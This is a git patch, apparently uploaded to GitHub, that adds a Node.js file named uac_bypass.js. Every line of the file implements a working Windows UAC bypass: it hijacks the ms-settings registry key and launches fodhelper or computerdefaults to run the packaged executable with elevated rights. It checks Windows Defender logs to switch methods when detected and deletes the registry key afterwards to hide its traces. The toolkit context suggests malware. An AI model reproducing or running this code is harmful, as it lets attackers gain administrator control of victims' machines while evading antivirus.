From 008a8cea980422474c915134deed451d8f94aff3 Mon Sep 17 00:00:00 2001 From: voyqge <96620548+voyqge@users.noreply.github.com> Date: Sun, 3 Dec 2023 16:37:37 +0100 Subject: [PATCH] Add files via upload --- Utils/uac_bypass.js | 56 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 56 insertions(+) create mode 100644 Utils/uac_bypass.js diff --git a/Utils/uac_bypass.js b/Utils/uac_bypass.js new file mode 100644 index 0000000..5f4d13a --- /dev/null +++ b/Utils/uac_bypass.js @@ -0,0 +1,56 @@ +const { execSync } = require('child_process'); +const os = require('os'); +function UACbypass(method = 1) { + const execute = (cmd) => execSync(cmd, { shell: true, stdio: 'pipe' }).toString(); + + if (GetSelf()[1]) { + if (method === 1 || method === 2) { + const executable = process.execPath.replace(/\\/g, '\\\\'); + + execute(`reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\command /d "${executable}" /f`); + execute('reg add hkcu\\Software\\Classes\\ms-settings\\shell\\open\\command /v "DelegateExecute" /f'); + + const logCountBefore = execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').split('\n').length; + + if (method === 1) { + execute('computerdefaults --nouacbypass'); + } else if (method === 2) { + execute('fodhelper --nouacbypass'); + } + + const logCountAfter = execute('wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /f:text').split('\n').length; + + execute('reg delete hkcu\\Software\\Classes\\ms-settings /f'); + + if (logCountAfter > logCountBefore) { + return UACbypass(method + 1); + } + } else { + return false; + } + return true; + } +} +function IsAdmin() { + return os.userInfo().username === 'Administrator'; +} +function GetSelf() { + if (process.pkg) { + return [process.execPath, true]; + } else { + return [__filename, false]; + } +} +if (require.main === module) { + if (IsAdmin()) { + console.log("Already running with admin privileges."); + } else { + console.log("Running without admin privileges. Trying to bypass UAC..."); + const bypassSuccessful = UACbypass(); + if (bypassSuccessful) { + console.log("UAC bypass successful."); + } else { + console.log("UAC bypass unsuccessful."); + } + } +} \ No newline at end of file